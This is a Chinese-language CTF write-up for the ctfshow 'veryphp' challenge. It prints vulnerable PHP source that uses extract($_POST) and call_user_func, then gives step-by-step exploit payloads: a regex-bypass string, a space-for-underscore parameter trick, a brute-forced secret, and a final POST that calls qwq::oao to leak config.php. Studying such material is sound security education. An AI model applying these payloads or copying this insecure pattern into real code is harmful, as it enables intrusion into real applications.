ctfshow=DJBCTF-veryphp WP
<?php error_reporting(0); highlight_file(__FILE__); include("config.php"); class qwq { function __wakeup(){ die("Access Denied!"); } static function oao(){ show_source("config.php"); } } $str = file_get_contents("php://input"); if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){ die("I am sorry but you have to leave."); }else{ extract($_POST); } if(isset($shaw_root)){ if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ echo $hint; }else{ echo "Almost there."."<br>"; } }else{ echo "<br>"."Input correct parameters"."<br>"; die(); } if($ans===$SecretNumber){ echo "<br>"."Congratulations!"."<br>"; call_user_func($my_ans); }
又是代码审计,快被折磨死了,一定要抽出时间好好学学
这里是参考的其他的师傅的一份wp
打开环境代码审计,一堆过滤恶心,还好可以一层一层套下去
解题思路:
post传入三个变量,通过变量覆盖赋值,并且不能包含题目中的那些特殊字符
- SecretNumber的值,并传入到ans
- 调用qwq类当中的oao方法
那么首先来看这个正则匹配,稍微学过正则的都应该能懂,我给出我的一个payload,可以参考学习
-a9<b>111111111>>>>abcphp@Rsz
但是传入参数前shaw_root中间有过不了正则的限制,这里利用了一个特性,在传入一些非法字符的时候php会把它解析为下划线,我记得有空格和[和+这三个这里我用空格吧,post传入
shaw root=-a9<b>111111111>>>>abcphp@Rsz
传入后得到hint,接下来通过爆破得到了secretnumber是21475
>Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
进入最后一层call_user_func,这里用了其特性,调用类的方法时语法是qwq::oao
因此最终payload是,burp发包即可获得flag
shaw root=-a9<b>111111111>>>>abcphp@Rsz&ans=21475&my ans=qwq::oao
在这里插入图片描述